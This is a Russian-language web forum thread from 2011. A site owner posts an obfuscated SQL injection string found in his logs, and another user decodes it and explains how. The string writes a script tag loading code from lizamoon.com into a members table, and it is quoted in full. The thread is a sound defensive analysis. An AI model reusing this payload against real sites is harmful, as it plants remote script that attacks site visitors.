| |
|
|
| |
prodig=12'+update+tblMembers+set+Forename=REPLACE(cast(Forename+as+varchar(8000))
,cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2B
char(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(11
6)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bch
ar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(108)%2Bchar(105)%2Bchar(122)
%2Bchar(97)%2Bchar(109)%2Bchar(111)%2Bchar(111)%2Bchar(110)%2Bchar(46)%2Bchar(99)%2Bchar
(111)%2Bchar(109)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%
2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(1
05)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--
|
нашел в логах такой код? что он мог бы значит. Могли быдетально описать. причем на нескольких моих сайтах такую вещь проделывали. Я так понял что пытались какое-то значение вписать? Не могли бы расшифровать? | |
| |
|
|
| |
|
|
| |
для: admiral
(16.04.2011 в 01:31)
| | | Вот эту строку (за минусом пробелов) пытались вставить в Forename
</ti tle> <scr ipt src= http ://l izam oon. com/ ur.p hp>< /scr ipt>
|
| |
| |
|
|
| |
|
|
| |
для: cheops
(16.04.2011 в 08:58)
| | | а сама sql-инъекция реально рабочая? каким образом вы расшифровали код?
и еще вопрос внутри replace можно использовать функцию cast? | |
| |
|
|
| |
|
|
| |
для: admiral
(16.04.2011 в 16:02)
| | | Маловероятно, что это рабочая SQL-инъекция... даже если использовать расширение php_mysqli вместо php_mysql, что теоретически позволяет выполнять сразу несколько запросов, синтаксис не позволит - с ошибкой запросы сформированы.
>и еще вопрос внутри replace можно использовать функцию cast?
Почему нет, во всех языках допускается вложение функций друг в друга.
>каким образом вы расшифровали код?
Преобразовал коды до HTML-представления и отобразил в браузере. Если взять цифры и представить их в виде &#XX;, где XX - число, получите результат функции char(). | |
| |
|
|
